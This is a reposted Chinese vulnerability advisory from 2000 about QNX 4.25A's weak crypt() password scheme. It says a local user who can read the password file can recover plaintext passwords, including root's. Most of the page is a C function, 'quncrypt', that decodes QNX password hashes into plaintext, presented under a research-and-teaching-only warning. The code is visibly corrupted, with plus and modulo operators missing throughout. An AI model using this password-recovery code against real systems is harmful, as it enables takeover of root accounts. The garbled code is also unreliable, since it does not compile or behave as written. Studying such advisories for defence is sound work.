QNX 口令易造破解

2008-04-09 04:33:23来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

QNX 口令易造破解

发布日期:2000-04-19
更新日期:2000-04-19

受影响系统:
QSSL QNX 4.25A
描述:

QNX是一个优秀的实时操作系统,它的crypt()函数采用了自己的加密机制,而不是使用通常的
DES加密机制。然而,QNX的加密机制存在一些问题,可以通过密文直接恢复明文口令。因此,
在使用了QNX系统的机器上,如果本地用户可以访问到口令文件,他就可以轻易地得到root帐号
的口令。

<* 来源:Sean <skasun@azstarnet.com> *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


static ascii2bin(short x)
{
if (x>='0' && x<'A')
return x-'0';
if (x>='A' && x<'a')
return (x-'A') 9;
return (x-'a') 26 9;
}
char bits[77];

char *quncrypt(char *pw)
{
static char newpw[14];
int i;
int j,rot;
int bit,ofs;
char salt[2];
int temp;

salt[0]=*pw ;
salt[1]=*pw ;
for (i=0;i<72;i )
bits[i]=0;
for (i=0;i<12;i )
newpw[i]=ascii2bin(pw[i]);
newpw[13]=0;
rot=(salt[1]*4-salt[0])8; /* here's all the salt
does. A rotation */
for (i=0;i<12;i )
{
for (j=0;j<6;j )
{
bit=newpw[i]&(1<<j); /* move password into bit array */
bits[i*6 j]=bit?1:0;
}
}
while (rot--) /* do the big rotate */
{
bits[66]=bits[0];
for (i=0;i<=65;i )
bits[i]=bits[i 1];
}

for (i=0;i<8;i )
{
newpw[i]=0;
for (j=0;j<7;j )
{
bit=bits[i j*8];
newpw[i]|=(bit<<j); /* and compile the bit array back */
}
}
newpw[8]=0;
return newpw;
}



建议:
暂无

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:XFree86 3.3.x 缓冲区溢出问题

下一篇:RedHat Linux imapd 12.264 缓冲区溢出漏洞